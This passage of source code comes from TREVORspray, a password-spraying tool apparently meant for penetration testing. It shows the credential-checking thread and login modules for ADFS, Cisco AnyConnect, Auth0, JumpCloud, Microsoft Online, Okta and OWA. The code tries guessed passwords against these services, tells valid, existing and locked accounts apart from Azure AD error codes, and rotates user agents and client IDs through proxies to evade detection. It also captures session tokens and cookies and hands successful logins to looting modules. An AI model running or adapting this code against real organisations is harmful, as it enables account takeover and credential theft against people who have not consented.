| jitter = random.random() * self.trevor.options.jitter 206 | delay += jitter 207 | if delay > 0: 208 | if self.trevor.options.ssh: 209 | log.debug( 210 | f"Sleeping thread for {delay:.1f} seconds ({self.trevor.options.delay:.1f}s delay + {jitter:.1f}s jitter)" 211 | ) 212 | sleep(delay) 213 | else: 214 | log.debug( 215 | f"Sleeping for {delay:.1f} seconds ({self.trevor.options.delay:.1f}s delay + {jitter:.1f}s jitter)" 216 | ) 217 | with self.trevor.lock: 218 | sleep(delay) 219 | 220 | elif exists == False and not sprayer.fail_nonexistent: 221 | log.debug( 222 | f"Skipping delay since account doesn't exist ({self.trevor.sprayer.__class__.__name__}.fail_nonexistent = {self.trevor.sprayer.fail_nonexistent})" 223 | ) 224 | 225 | self._running = False 226 | 227 | except Exception as e: 228 | log.error(f"Unhandled error in proxy thread: {e}") 229 | if log.level <= logging.DEBUG: 230 | import traceback 231 | 232 | log.error(traceback.format_exc()) 233 | else: 234 | log.error(f"Encountered error (-v to debug): {e}") 235 | self.cancel_spray() 236 | break 237 | 238 | def cancel_spray(self): 239 | self.trevor._stop = True 240 | for proxy in self.trevor.proxies: 241 | with suppress(Exception): 242 | proxy._running = False 243 | proxy.q = None 244 | 245 | @property 246 | def running(self): 247 | return self._running or self.q is not None 248 | 249 | def check_cred(self, user, password, enumerate_users=False): 250 | """ 251 | returns (valid, exists, locked, msg) 252 | """ 253 | 254 | valid = False 255 | exists = None 256 | locked = None 257 | msg = "" 258 | 259 | if enumerate_users: 260 | sprayer = self.trevor.user_enumerator 261 | else: 262 | sprayer = self.trevor.sprayer 263 | 264 | success = False 265 | while not success: 266 | session = requests.Session() 267 | try: 268 | prepared_request = sprayer.create_request( 269 | user, password, self 270 | ).prepare() 271 | except Exception as e: 272 | log.error( 273 | f"Unhandled error in {sprayer.__class__.__name__}.create_request(): {e} (-v to debug)" 274 | ) 275 | if log.level <= logging.DEBUG: 276 | import traceback 277 | 278 | log.error(traceback.format_exc()) 279 | self.trevor._stop = True 280 | self._running = False 281 | break 282 | 283 | # randomize user-agent if requested 284 | if self.trevor.options.random_useragent: 285 | current_useragent = prepared_request.headers.get( 286 | "User-Agent", windows_user_agent 287 | ) 288 | prepared_request.headers[ 289 | "User-Agent" 290 | ] = f"{current_useragent} {random.randint(0,99999)}.{random.randint(0,99999)}" 291 | 292 | kwargs = { 293 | "timeout": self.trevor.options.timeout, 294 | "allow_redirects": False, 295 | "verify": False, 296 | "retries": (0 if self.trevor.options.ssh else "infinite"), 297 | } 298 | if self.trevor.options.proxy: 299 | kwargs["proxies"] = { 300 | "http": self.trevor.options.proxy, 301 | "https": self.trevor.options.proxy, 302 | } 303 | if self.proxy is not None: 304 | kwargs["proxies"] = self.proxy_arg 305 | log.debug(f"HTTP {prepared_request.method} through proxy: {self.proxy}") 306 | response = request(prepared_request, session=session, **kwargs) 307 | if isinstance(response, Exception): 308 | log.error(f"Error in web request: {response}") 309 | # rebuild proxy 310 | if self.proxy_arg and not type(self.proxy) == str: 311 | log.verbose(f"Rebuilding proxy {self}") 312 | try: 313 | self.proxy.start() 314 | except SSHProxyError as e: 315 | log.error(e) 316 | sleep(1) 317 | continue 318 | try: 319 | valid, exists, locked, msg = sprayer.check_response(response) 320 | success = True 321 | except Exception as e: 322 | log.error( 323 | f"Unhandled error in {sprayer.__class__.__name__}.check_response(): {e} (-v to debug)" 324 | ) 325 | if log.level <= logging.DEBUG: 326 | import traceback 327 | 328 | log.error(traceback.format_exc()) 329 | 330 | result = (valid, exists, locked, msg) 331 | return result 332 | 333 | def __str__(self): 334 | if self.proxy: 335 | return str(self.proxy) 336 | elif self.trevor.options.ssh: 337 | return "proxy thread" 338 | else: 339 | return "thread" 340 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/__init__.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | from pathlib import Path 3 | from .base import BaseSprayModule 4 | 5 | module_dir = Path(__file__).parent 6 | module_choices = {} 7 | 8 | for file in module_dir.glob("*.py"): 9 | file = module_dir / file 10 | 11 | if file.is_file() and file.stem not in ["base", "__init__"]: 12 | modules = importlib.import_module( 13 | f"trevorspray.lib.sprayers.{file.stem}", "trevorspray" 14 | ) 15 | 16 | for m in modules.__dict__.keys(): 17 | module = getattr(modules, m) 18 | try: 19 | if BaseSprayModule in module.__mro__: 20 | module_choices[file.stem] = module 21 | except AttributeError: 22 | continue 23 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/adfs.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from bs4 import BeautifulSoup 3 | from .base import BaseSprayModule 4 | from ..util import is_domain, is_url 5 | from urllib.parse import urlparse, parse_qs, urlencode, urlunparse 6 | 7 | log = logging.getLogger("trevorspray.sprayers.adfs") 8 | 9 | 10 | class ADFS(BaseSprayModule): 11 | userparm = "UserName" 12 | passparam = "Password" 13 | 14 | request_data = { 15 | "Kmsi": "true", 16 | "AuthMethod": "FormsAuthentication", 17 | "UserName": "{username}", 18 | "Password": "{password}", 19 | } 20 | 21 | def initialize(self): 22 | discovery = self.trevor.discovery(self.url) 23 | parsed_url = urlparse(self.url) 24 | userrealm = discovery.getuserrealm() 25 | namespace = userrealm.get("NameSpaceType", "Unknown") 26 | if namespace != "Federated": 27 | log.warning( 28 | f'NameSpaceType for {self.url} is "{namespace}", not "Federated". You may want to try the "msol" module instead.' 29 | ) 30 | 31 | if is_domain(self.url) and not is_url(self.url): 32 | log.info( 33 | f"Specified URL {self.url} is a domain, autodetecting ADFS AuthURL" 34 | ) 35 | adfs_url = userrealm.get("AuthURL", "") 36 | if adfs_url: 37 | log.info(f"Successfully detected ADFS AuthURL: {adfs_url}") 38 | self.url = adfs_url 39 | parsed_url = urlparse(self.url) 40 | else: 41 | log.warn( 42 | f"Failed to detect ADFS AuthURL. Please make sure you specify the full ADFS url (example: https://sts.evilcorp.com/adfs/ls/?client-request-id=&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=cbcxt=&username=&mkt=&lc=)" 43 | ) 44 | 45 | if not parsed_url.scheme: 46 | parsed_url = urlparse(f"https://{urlunparse(parsed_url)}") 47 | 48 | # add query parameters if only a domain is specified 49 | if not parsed_url.query: 50 | log.info(f"No query parameters specified in {self.url}, correcting") 51 | origin = urlunparse(parsed_url._replace(query="", path="")) 52 | self.url = f"{origin}/adfs/ls/?client-request-id=&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=cbcxt=&username=&mkt=&lc=" 53 | log.info(f"New AuthURL: {self.url}") 54 | 55 | return True 56 | 57 | def create_request(self, username, password, proxythread): 58 | request = super().create_request(username, password, proxythread) 59 | parsed_url = urlparse(self.url) 60 | 61 | # replace dummy username query parameter in the AuthURL 62 | query = parse_qs(parsed_url.query, keep_blank_values=True) 63 | if "username" in query: 64 | query["username"] = [username] 65 | parsed_url = parsed_url._replace(query=urlencode(query, doseq=True)) 66 | request.url = urlunparse(parsed_url) 67 | log.debug(f"Replaced username in URL, new URL: {request.url}") 68 | request.headers["Referrer"] = request.url 69 | request.headers["Origin"] = f"{parsed_url.scheme}://{parsed_url.netloc}" 70 | return request 71 | 72 | def check_response(self, response): 73 | valid = False 74 | exists = None 75 | locked = None 76 | msg = "" 77 | 78 | status_code = getattr(response, "status_code", 0) 79 | cookies = getattr(response, "cookies", {}) 80 | content = getattr(response, "content", b"") 81 | msg = f"Status code: {status_code}, Response length: {len(content)}" + ( 82 | f", Cookies: {dict(cookies)}" if cookies else "" 83 | ) 84 | 85 | error_msg = "" 86 | if content: 87 | soup = BeautifulSoup(content, "html.parser") 88 | found = soup.find(id="errorText") 89 | error_msg = getattr(found, "text", "") 90 | 91 | if error_msg: 92 | msg = f"{msg} {error_msg}" 93 | 94 | if status_code == 302: 95 | exists = True 96 | valid = True 97 | 98 | return (valid, exists, locked, msg) 99 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/anyconnect.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import requests 3 | from lxml import etree 4 | from ..util import request 5 | from contextlib import suppress 6 | from .base import BaseSprayModule 7 | from urllib.parse import urlparse, urlunparse 8 | 9 | log = logging.getLogger("trevorspray.sprayers.anyconnect") 10 | 11 | 12 | class AnyConnect(BaseSprayModule): 13 | body_xml = """ 14 | 15 | 4.10.01075 16 | win 17 | {groupxml} 18 | 19 | {username} 20 | {password} 21 | 22 | {group} 23 | """ 24 | 25 | body_plain = "group_list={group}&username={username}&password={password}&secondary_username=&secondary_password=" 26 | body_plain_no_group = "username={username}&password={password}" 27 | 28 | headers_xml = { 29 | "User-Agent": "AnyConnect Windows 4.10.01075", 30 | "Accept-Encoding": "gzip, deflate", 31 | "X-Transcend-Version": "1", 32 | "X-Aggregate-Auth": "1", 33 | "X-AnyConnect-Platform": "win", 34 | "X-Support-HTTP-Auth": "true", 35 | "Content-Type": "application/xml; charset=utf-8", 36 | } 37 | 38 | headers_plain = { 39 | "User-Agent": "AnyConnect Windows 4.10.01075", 40 | "Cookie": "webvpnlogin=1", 41 | "Accept": "*/*", 42 | "Accept-Encoding": "gzip, deflate", 43 | "X-Transcend-Version": "1", 44 | "X-Support-HTTP-Auth": "true", 45 | "Content-Type": "application/x-www-form-urlencoded", 46 | } 47 | 48 | def initialize(self): 49 | url = urlunparse(urlparse(self.url)._replace(query="", path="/")) 50 | 51 | s = requests.Session() 52 | 53 | initial_response = request( 54 | method="POST", 55 | url=url, 56 | headers=self.headers_xml, 57 | data=f""" 58 | 59 | 4.10.01075 60 | win 61 | {self.url} 62 | """, 63 | allow_redirects=False, 64 | session=s, 65 | ) 66 | 67 | tunnelgroups = {} 68 | selected_tunnelgroup = None 69 | 70 | # XML auth 71 | if getattr(initial_response, "status_code", 0) == 200: 72 | self.auth_type = "xml" 73 | log.info("Detected XML auth") 74 | self.request_data = self.body_xml 75 | self.headers = self.headers_xml 76 | try: 77 | parsed_initial_response = etree.fromstring(initial_response.content) 78 | except Exception as e: 79 | log.error(f"Error parsing content: {e}, {initial_response.content}") 80 | return False 81 | for tunnelgroup in parsed_initial_response.iterfind(".//opaque"): 82 | group = tunnelgroup.find("tunnel-group") 83 | group_alias = tunnelgroup.find("group-alias") 84 | 85 | if group is not None: 86 | group_text = group.text 87 | group_alias_text = group_alias.text if group_alias is not None else group_text 88 | 89 | tunnelgroups[group_alias_text] = { 90 | "group": group_text, 91 | "groupxml": etree.tostring(tunnelgroup).decode(), 92 | "groupname": group_alias_text, 93 | } 94 | 95 | # plain auth 96 | elif getattr(initial_response, "status_code", 0) in (301, 302, 303): 97 | self.auth_type = "plain" 98 | self.headers = self.headers_plain 99 | host = "/".join(initial_response.url.split("/", 3)[:3]) 100 | response_location = initial_response.headers["Location"] 101 | if response_location.lower().startswith("http"): 102 | self.url = str(response_location) 103 | else: 104 | self.url = host + initial_response.headers["Location"] 105 | log.info(f"Detected plain auth, redirecting to {self.url}") 106 | plain_response = request( 107 | url=self.url, 108 | headers={ 109 | "User-Agent": "AnyConnect Windows 4.10.01075", 110 | "Accept": "*/*", 111 | "Accept-Encoding": "gzip, deflate", 112 | "X-Transcend-Version": "1", 113 | "X-Support-HTTP-Auth": "true", 114 | "Content-Type": "application/x-www-form-urlencoded", 115 | }, 116 | session=s, 117 | ) 118 | if getattr(plain_response, "status_code", 0) == 200: 119 | try: 120 | parsed_plain_response = etree.fromstring(plain_response.content) 121 | except Exception as e: 122 | log.error(f"Error parsing content: {e}, {plain_response.content}") 123 | return False 124 | for option in parsed_plain_response.iterfind(".//option"): 125 | group = option.attrib.get("value", "") 126 | groupname = option.text 127 | if group and groupname: 128 | tunnelgroups[groupname] = { 129 | "group": group, 130 | "groupname": groupname, 131 | } 132 | else: 133 | log.error(f"{plain_response} while visiting {self.url}") 134 | return False 135 | if tunnelgroups: 136 | self.request_data = self.body_plain 137 | else: 138 | self.request_data = self.body_plain_no_group 139 | 140 | else: 141 | status_code = getattr(initial_response, "status_code", 0) 142 | log.error(f'Received invalid response code "{status_code}" from url: {url}') 143 | 144 | if len(tunnelgroups) == 1: 145 | for alias, tunnelgroup in tunnelgroups.items(): 146 | selected_tunnelgroup = tunnelgroup 147 | log.info(f'Found tunnel group "{alias}"') 148 | 149 | elif tunnelgroups: 150 | while selected_tunnelgroup is None: 151 | try: 152 | tunnelgroup = tunnelgroups[self.globalparams.get("group", None)] 153 | selected_tunnelgroup = tunnelgroup 154 | except KeyError: 155 | pass 156 | try: 157 | tunnelgroup = tunnelgroups[ 158 | input( 159 | f'[USER] Select group: [{"|".join(tunnelgroups.keys())}]: ' 160 | ) 161 | ] 162 | selected_tunnelgroup = tunnelgroup 163 | except KeyError: 164 | log.error("Invalid choice.") 165 | log.debug(f'Using tunnel group {selected_tunnelgroup["groupname"]}:') 166 | for k, v in selected_tunnelgroup.items(): 167 | log.debug(f" {k}: {v}") 168 | 169 | if selected_tunnelgroup: 170 | log.info(f'Using tunnel group "{selected_tunnelgroup["groupname"]}"') 171 | self.request_data = self.request_data.replace( 172 | "{groupxml}", selected_tunnelgroup.pop("groupxml", "") 173 | ) 174 | self.globalparams.update(selected_tunnelgroup) 175 | 176 | return True 177 | 178 | def check_response(self, response): 179 | valid = False 180 | exists = None 181 | locked = None 182 | msg = "Login failed." 183 | 184 | log.debug(f"Response: {response.content}") 185 | 186 | parsed_response_content = etree.fromstring(response.content) 187 | for error in parsed_response_content.iterfind(".//error"): 188 | msg = error.text 189 | 190 | session_token = "" 191 | with suppress(Exception): 192 | session_token = parsed_response_content.find(".//session-token").text 193 | 194 | if len(session_token) > 10: 195 | exists = True 196 | valid = True 197 | msg = f"SESSION TOKEN: {session_token}" 198 | 199 | return (valid, exists, locked, msg) 200 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/auth0.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import requests 3 | from .base import BaseSprayModule 4 | 5 | from urllib.parse import urlparse, parse_qs 6 | 7 | log = logging.getLogger("trevorspray.sprayers.jumpcloud") 8 | 9 | 10 | class Auth0(BaseSprayModule): 11 | default_url = "https://auth0.com" 12 | 13 | userparam = "username" 14 | 15 | def create_request(self, username, password, proxythread): 16 | request = super().create_request(username, password, proxythread) 17 | 18 | # 1 - GET https://auth0.com/api/auth/login?redirectTo=dashboard 19 | response_1 = requests.get( 20 | "https://auth0.com/api/auth/login?redirectTo=dashboard", 21 | proxies=proxythread.proxy_arg, 22 | headers=self.headers, 23 | allow_redirects=True, 24 | ) 25 | try: 26 | cookies = response_1.history[-1].cookies 27 | except IndexError: 28 | cookies = response_1.cookies 29 | cookies.pop("state", "") 30 | parsed_url = urlparse(response_1.url) 31 | query_params = parse_qs(parsed_url.query) 32 | state = query_params.get("state", [""])[0] 33 | log.debug(f"State: {state}") 34 | 35 | url = f"https://auth0.auth0.com/u/login/identifier?state={state}" 36 | data = { 37 | "state": state, 38 | "username": username, 39 | "js-available": "true", 40 | "webauthn-available": "true", 41 | "is-brave": "false", 42 | "webauthn-platform-available": "false", 43 | "action": "default", 44 | } 45 | 46 | # 2 - POST https://auth0.auth0.com/u/login/identifier?state= 47 | headers = { 48 | "Referrer": f"https://auth0.auth0.com/u/login/identifier?state={state}" 49 | } 50 | response_2 = requests.post( 51 | url, 52 | proxies=proxythread.proxy_arg, 53 | cookies=cookies, 54 | headers=headers, 55 | data=data, 56 | ) 57 | # 3 - POST https://auth0.auth0.com/u/login/password?state= 58 | cookies.update(response_2.cookies) 59 | 60 | url = f"https://auth0.auth0.com/u/login/password?state={state}" 61 | data = { 62 | "state": state, 63 | "username": username, 64 | "password": password, 65 | "action": "default", 66 | } 67 | 68 | request.url = url 69 | request.headers.update( 70 | { 71 | "Origin": "https://auth0.auth0.com", 72 | "Referrer": url, 73 | } 74 | ) 75 | request.data = data 76 | request.cookies = cookies 77 | return request 78 | 79 | def check_response(self, response): 80 | valid = False 81 | exists = None 82 | locked = None 83 | msg = "" 84 | 85 | status_code = getattr(response, "status_code", 0) 86 | msg = f"Response code {status_code}" 87 | 88 | if "auth0" in response.cookies: 89 | msg = "" 90 | exists = True 91 | valid = True 92 | location = response.headers.get("Location", "") 93 | if location: 94 | msg = f"Location: {location}\n" 95 | msg += "Cookie: " 96 | for k, v in response.cookies.items(): 97 | msg += f"{k}={v};" 98 | 99 | return (valid, exists, locked, msg) 100 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/base.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import requests 3 | from time import sleep 4 | from urllib.parse import quote 5 | from ..util import windows_user_agent 6 | from ..errors import TREVORSprayError 7 | 8 | log = logging.getLogger("trevorspray.sprayers.base") 9 | 10 | 11 | class BaseSprayModule: 12 | # HTTP method 13 | method = "POST" 14 | # default target URL 15 | default_url = None 16 | # alternative IPv6 URL 17 | ipv6_url = None 18 | # name of username parameter 19 | userparam = "username" 20 | # name of password parameter 21 | passparam = "password" 22 | # other global parameters 23 | globalparams = {} 24 | # body of request 25 | request_data = None 26 | request_json = None 27 | # HTTP headers 28 | headers = {} 29 | # HTTP cookies 30 | cookies = {} 31 | # Don't count nonexistent accounts as failed logons 32 | fail_nonexistent = True 33 | # Module for looting after successful login 34 | looter = None 35 | # How many times to retry HTTP requests 36 | retries = "infinite" 37 | 38 | def __init__(self, trevor): 39 | log.debug(f"Initializing sprayer") 40 | 41 | self.url = None 42 | self.trevor = trevor 43 | if self.trevor.options.url is not None: 44 | self.url = str(self.trevor.options.url) 45 | elif self.default_url is not None: 46 | self.url = str(self.default_url) 47 | 48 | if ( 49 | self.ipv6_url 50 | and self.url == self.default_url 51 | and self.trevor.options.prefer_ipv6 52 | ): 53 | self.url = self.ipv6_url 54 | 55 | if not self.url: 56 | raise TREVORSprayError("Please specify a --url to spray against") 57 | 58 | # make sure we have a user-agent 59 | if not self.headers.get("User-Agent", ""): 60 | self.headers["User-Agent"] = windows_user_agent 61 | 62 | def initialize(self): 63 | return True 64 | 65 | def create_params(self, username, password): 66 | return {self.userparam: username, self.passparam: password} 67 | 68 | def create_request(self, username, password, proxythread): 69 | """ 70 | Returns request.Request() object 71 | """ 72 | 73 | runtimeparams = self.create_params(username, password) 74 | 75 | data = None 76 | params = dict(self.globalparams) 77 | params.update(runtimeparams) 78 | params.update(self.trevor.runtimeparams) 79 | 80 | try: 81 | url = self.url.format(**params) 82 | except Exception as e: 83 | log.error( 84 | f'Error preparing URL "{self.url}" with the following parameters: {params}: {e} (-v to debug)' 85 | ) 86 | if log.level <= logging.DEBUG: 87 | import traceback 88 | 89 | log.error(traceback.format_exc()) 90 | url = str(self.url) 91 | log.error( 92 | f'Continuing with URL "{url}". If this doesn\'t look right, press CTRL+C to cancel.' 93 | ) 94 | sleep(4) 95 | 96 | if not url.lower().startswith("http"): 97 | url = f"https://{url}" 98 | 99 | if type(self.request_data) == dict: 100 | data = dict(self.request_data) 101 | data.update({k: v for k, v in params.items() if k in data}) 102 | elif type(self.request_data) == str: 103 | escaped_params = {k: quote(v) for k, v in params.items()} 104 | data = self.request_data.format(**escaped_params) 105 | 106 | json = None 107 | if type(self.request_json) == dict: 108 | json = dict(self.request_json) 109 | json.update({k: v for k, v in params.items() if k in json}) 110 | 111 | return requests.Request( 112 | method=self.method, 113 | url=url, 114 | headers=self.headers, 115 | cookies=self.cookies, 116 | data=data, 117 | json=json, 118 | ) 119 | 120 | def check_response(self, response): 121 | """ 122 | returns (valid, exists, locked, msg) 123 | """ 124 | 125 | valid = False 126 | exists = None 127 | locked = None 128 | msg = "" 129 | 130 | if getattr(response, "status_code", 0) == 200: 131 | valid = True 132 | exists = True 133 | msg = "Valid cred" 134 | 135 | return (valid, exists, locked, msg) 136 | 137 | def loot(self, credential): 138 | if self.looter is not None: 139 | looter = self.looter(self, credential) 140 | looter.run() 141 | 142 | @property 143 | def id(self): 144 | return f"{self.__class__.__name__}|{self.url}" 145 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/jumpcloud.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import requests 3 | from .base import BaseSprayModule 4 | 5 | log = logging.getLogger("trevorspray.sprayers.jumpcloud") 6 | 7 | 8 | class JumpCloud(BaseSprayModule): 9 | # default target URL 10 | default_url = "https://console.jumpcloud.com/userconsole/auth" 11 | 12 | userparam = "email" 13 | 14 | request_json = { 15 | "email": "{username}", 16 | "password": "{password}", 17 | } 18 | 19 | headers = { 20 | "X-Requested-With": "XMLHttpRequest", 21 | "Accept": "application/json", 22 | "Content-Type": "application/json", 23 | "Referrer": "https://console.jumpcloud.com/login?step=password", 24 | "Origin": "https://console.jumpcloud.com", 25 | } 26 | 27 | def create_request(self, username, password, proxythread): 28 | request = super().create_request(username, password, proxythread) 29 | 30 | xsrf_url = "https://console.jumpcloud.com/userconsole/xsrf" 31 | xsrf_response = requests.get( 32 | xsrf_url, headers=self.headers, proxies=proxythread.proxy_arg 33 | ) 34 | xsrf_token = xsrf_response.json().get("xsrf", "") 35 | xsrf_cookie = xsrf_response.cookies.get("_xsrf", "") 36 | if not xsrf_token: 37 | log.warning( 38 | f"Failed to obtain XSRF token: {xsrf_response}:{xsrf_response.text}" 39 | ) 40 | if not xsrf_cookie: 41 | log.warning( 42 | f"Failed to obtain XSRF cookie: {xsrf_response}:{xsrf_response.cookies}" 43 | ) 44 | log.debug(f"Token: {xsrf_token}") 45 | log.debug(f"Cookie: {xsrf_cookie}") 46 | cookies = {"_xsrf": xsrf_cookie} 47 | cookies.update(self.cookies) 48 | headers = { 49 | "X-Xsrftoken": xsrf_token, 50 | } 51 | headers.update(self.headers) 52 | 53 | request.headers = headers 54 | request.cookies = cookies 55 | return request 56 | 57 | def check_response(self, response): 58 | valid = False 59 | exists = None 60 | locked = None 61 | msg = "" 62 | 63 | status_code = getattr(response, "status_code", 0) 64 | msg = f"Response code {status_code}" 65 | 66 | if status_code == 200: 67 | exists = True 68 | valid = True 69 | 70 | return (valid, exists, locked, msg) 71 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/msol.py: -------------------------------------------------------------------------------- 1 | import uuid 2 | import logging 3 | from contextlib import suppress 4 | from .base import BaseSprayModule 5 | from ..looters.msol import MSOLLooter 6 | 7 | log = logging.getLogger("trevorspray.sprayers.msol") 8 | 9 | 10 | class MSOL(BaseSprayModule): 11 | # default target URL 12 | default_url = "https://login.microsoft.com/common/oauth2/token" 13 | ipv6_url = "https://prdv6a.aadg.msidentity.com/common/oauth2/token" 14 | 15 | fail_nonexistent = False 16 | 17 | request_data = { 18 | "resource": "https://graph.windows.net", 19 | "client_id": "38aa3b87-a06d-4817-b275-7a316988d93b", 20 | "client_info": "1", 21 | "grant_type": "password", 22 | "scope": "openid", 23 | "username": "{username}", 24 | "password": "{password}", 25 | } 26 | 27 | headers = { 28 | "Accept": "application/json", 29 | "Content-Type": "application/x-www-form-urlencoded", 30 | "User-Agent": "Windows-AzureAD-Authentication-Provider/1.0", 31 | } 32 | 33 | looter = MSOLLooter 34 | 35 | def initialize(self): 36 | if self.trevor.options.prefer_ipv6 and self.url == self.ipv6_url: 37 | self.headers["Host"] = "login.microsoft.com" 38 | 39 | discovery = self.trevor.discovery(self.trevor.domain) 40 | if discovery is not None: 41 | userrealm = discovery.getuserrealm() 42 | namespace = userrealm.get("NameSpaceType", "Unknown") 43 | if namespace == "Federated": 44 | log.warning( 45 | f'NameSpaceType for {self.trevor.domain} is "{namespace}", not "Managed". You may want to try the "adfs" module instead.' 46 | ) 47 | 48 | return True 49 | 50 | def create_request(self, *args, **kwargs): 51 | request = super().create_request(*args, **kwargs) 52 | if self.trevor.options.random_useragent: 53 | request.data["client_id"] = str(uuid.uuid4()) 54 | return request 55 | 56 | def check_response(self, response): 57 | exists = False 58 | valid = False 59 | locked = False 60 | msg = "" 61 | 62 | status_code = getattr(response, "status_code", 0) 63 | 64 | if status_code == 200: 65 | exists = True 66 | valid = True 67 | 68 | else: 69 | r = {} 70 | with suppress(Exception): 71 | r = response.json() 72 | exists = True 73 | 74 | error = r.get("error_description", "") 75 | if error: 76 | log.debug(error) 77 | 78 | if "AADSTS50126" in error: 79 | msg = f"AADSTS50126: Invalid email or password. Account could exist." 80 | 81 | elif "AADSTS50128" in error or "AADSTS50059" in error: 82 | exists = False 83 | msg = f"AADSTS50128: Tenant for account doesn't exist. Check the domain to make sure they are using Azure/O365 services." 84 | 85 | elif "AADSTS90072" in error: 86 | valid = True 87 | msg = f"AADSTS90072: Valid credential, but not for this tenant." 88 | 89 | elif "AADSTS530031" in error: 90 | valid = True 91 | msg = f"AADSTS530031: Valid credential, but access policy does not allow token issuance." 92 | 93 | elif "AADSTS53003" in error: 94 | valid = True 95 | msg = f"AADSTS53003: Valid credential, but access blocked by Conditional Access policies." 96 | 97 | elif "AADSTS50034" in error: 98 | exists = False 99 | msg = f"AADSTS50034: User does not exist." 100 | 101 | elif "AADSTS900023" in error: 102 | exists = False 103 | msg = f"AADSTS900023: No tenant registered for this domain or invalid domain." 104 | 105 | elif "AADSTS50076" in error: 106 | valid = True 107 | # Microsoft MFA response 108 | msg = f"AADSTS50076: The response indicates MFA (Microsoft) is in use." 109 | 110 | elif "AADSTS50079" in error: 111 | valid = True 112 | # Microsoft MFA response 113 | msg = f"AADSTS50079: The response indicates MFA (Microsoft) must be onboarded!" 114 | 115 | elif "AADSTS50055" in error: 116 | valid = True 117 | # User password is expired 118 | msg = f"AADSTS50055: The user's password is expired." 119 | 120 | elif "AADSTS50131" in error: 121 | valid = True 122 | # Password is correct but login was blocked 123 | msg = "AADSTS50131: Correct password but login was blocked." 124 | 125 | elif "AADSTS50158" in error: 126 | valid = True 127 | # Conditional Access response (Based off of limited testing this seems to be the response to DUO MFA) 128 | msg = "AADSTS50158: The response indicates conditional access (MFA: DUO or other) is in use." 129 | 130 | elif "AADSTS50053" in error: 131 | locked = True 132 | exists = None # M$ gets nasty and sometimes lies about this 133 | # Locked out account or Smart Lockout in place 134 | msg = f"AADSTS50053: Account appears to be locked." 135 | 136 | elif "AADSTS50056" in error: 137 | msg = f"AADSTS50056: Account exists but does not have a password in Azure AD." 138 | 139 | elif "AADSTS80014" in error: 140 | msg = f"AADSTS80014: Account exists, but the maximum Pass-through Authentication time was exceeded." 141 | 142 | elif "AADSTS50057" in error: 143 | # Disabled account 144 | msg = f"AADSTS50057: The account appears to be disabled." 145 | 146 | else: 147 | valid = None 148 | exists = None 149 | content = getattr(response, "content", "") 150 | msg = f"HTTP {status_code}: Got an error we haven't seen yet: {(r if r else content)}" 151 | 152 | return (valid, exists, locked, msg) 153 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/okta.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from contextlib import suppress 3 | from .base import BaseSprayModule 4 | from ..util import highlight_json 5 | 6 | log = logging.getLogger("trevorspray.sprayers.okta") 7 | 8 | 9 | class Okta(BaseSprayModule): 10 | # default target URL 11 | default_url = "https://{domain}/api/v1/authn" 12 | 13 | request_json = { 14 | "options": { 15 | "warnBeforePasswordExpired": True, 16 | "multiOptionalFactorEnroll": True, 17 | }, 18 | "domain": "{domain}", 19 | "username": "{username}", 20 | "password": "{password}", 21 | } 22 | 23 | headers = { 24 | "X-Requested-With": "XMLHttpRequest", 25 | "X-Okta-User-Agent-Extended": "okta-signin-widget-5.14.1", 26 | "Accept": "application/json", 27 | "Content-Type": "application/json", 28 | } 29 | 30 | def initialize(self): 31 | if not self.trevor.options.delay or self.trevor.options.jitter: 32 | log.warning( 33 | f"Okta hides lockout failures by default! --delay is recommended." 34 | ) 35 | 36 | while not self.trevor.runtimeparams.get("domain", ""): 37 | self.trevor.runtimeparams.update( 38 | { 39 | "domain": input( 40 | "\n[USER] Enter target domain (e.g. customer.okta.com): " 41 | ).strip() 42 | } 43 | ) 44 | 45 | self.url = self.url.format(**self.trevor.runtimeparams) 46 | 47 | return True 48 | 49 | def check_response(self, response): 50 | valid = False 51 | exists = None 52 | locked = None 53 | msg = "" 54 | 55 | json = {} 56 | with suppress(Exception): 57 | json = response.json() 58 | 59 | status = json.get("status", json.get("errorSummary", "Unknown")) 60 | status_code = getattr(response, "status_code", 0) 61 | msg = f"[{status}] (Response code {status_code})" 62 | 63 | if status_code == 200 and "status" in json: 64 | if status == "LOCKED_OUT": 65 | locked = True 66 | else: 67 | exists = True 68 | valid = True 69 | if status == "MFA_ENROLL": 70 | msg = f"[{status}] Valid credentials without MFA!\n{highlight_json(json)}" 71 | else: 72 | msg = f"[{status}] Valid credentials!\n{highlight_json(json)}" 73 | 74 | return (valid, exists, locked, msg) 75 | -------------------------------------------------------------------------------- /trevorspray/lib/sprayers/owa.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from .base import BaseSprayModule 3 | from tldextract import tldextract 4 | from requests_ntlm import HttpNtlmAuth 5 | 6 | log = logging.getLogger("trevorspray.sprayers.owa") 7 | 8 | 9 | class OWA(BaseSprayModule): 10 | # HTTP method 11 | method = "GET" 12 | # default target URL 13 | default_url = "none" 14 | # HTTP headers 15 | headers = {"Content-Type": "text/xml"} 16 | 17 | def initialize(self): 18 | log.warning( 19 | "NOTE: OWA typically uses the INTERNAL username format! Often this is different than the email format." 20 | ) 21 | log.warning( 22 | "This means your --usernames file should probably contain INTERNAL usernames" 23 | ) 24 | log.warning( 25 | 'Depending on the OWA instance, the usernames may also need the domain like so: "CORP.LOCAL\\USERNAME"' 26 | ) 27 | log.warning("You can discover the OWA's internal domain with --recon") 28 | log.warning( 29 | 'If this isn\'t what you want, consider spraying with the "msol" or "adfs" module instead.' 30 | ) 31 | 32 | self.o365 = False 33 | if self.url != "none": 34 | self.domain = str(tldextract.extract(self.url).fqdn) 35 | else: 36 | log.warning("No --url specified, autodetecting") 37 | if self.trevor.domain: 38 | self.domain = str(self.trevor.domain) 39 | log.info(f'Using 